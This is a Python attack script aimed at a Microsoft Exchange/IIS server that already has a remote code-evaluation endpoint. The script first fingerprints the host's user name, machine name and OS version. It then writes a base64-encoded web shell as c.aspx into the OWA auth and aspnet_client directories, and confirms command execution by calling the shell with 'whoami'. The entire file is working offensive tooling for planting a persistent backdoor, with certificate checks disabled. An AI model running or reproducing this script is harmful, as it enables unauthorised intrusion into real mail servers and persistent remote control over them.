#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Fast verify + drop clean shell + confirm cmd exec (compact output)."""
import sys, base64, requests, urllib3
urllib3.disable_warnings()
HOST, EVAL = sys.argv[1], sys.argv[2]
SHELL = open("clean_shell.txt").read().strip()
s = requests.Session()
e = "https://%s%s" % (HOST, EVAL)

r = s.post(e, data={"exec_code": 'Response.Write("PWN|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion);'}, timeout=60, verify=False)
print("EVAL", r.status_code, r.text[:60].replace("\n", " "))

b64 = base64.b64encode(SHELL.encode()).decode()
for dst in [r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\c.aspx",
            r"C:\inetpub\wwwroot\aspnet_client\c.aspx"]:
    w = r"var b=System.Convert.FromBase64String(Request['b64']);System.IO.File.WriteAllBytes('%s',b);Response.Write('WROTE');" % dst.replace("\\", "\\\\")
    rr = s.post(e, data={"exec_code": w, "b64": b64}, timeout=60, verify=False)
    print("DROP", dst.split("\\")[-1], rr.status_code, rr.text[:20].replace("\n", " "))

for url in ["https://%s/owa/auth/c.aspx" % HOST, "https://%s/aspnet_client/c.aspx" % HOST]:
    try:
        a = s.get(url, timeout=30, verify=False)
        b = s.get(url, params={"cmd": "whoami"}, timeout=30, verify=False)
        print("CHK", url.split(HOST)[1], a.status_code, a.text[:40].replace("\n", " "), "|whoami:", b.status_code, b.text[:40].replace("\n", " "))
    except Exception as ex:
        print("CHK", url, "ERR", str(ex)[:60])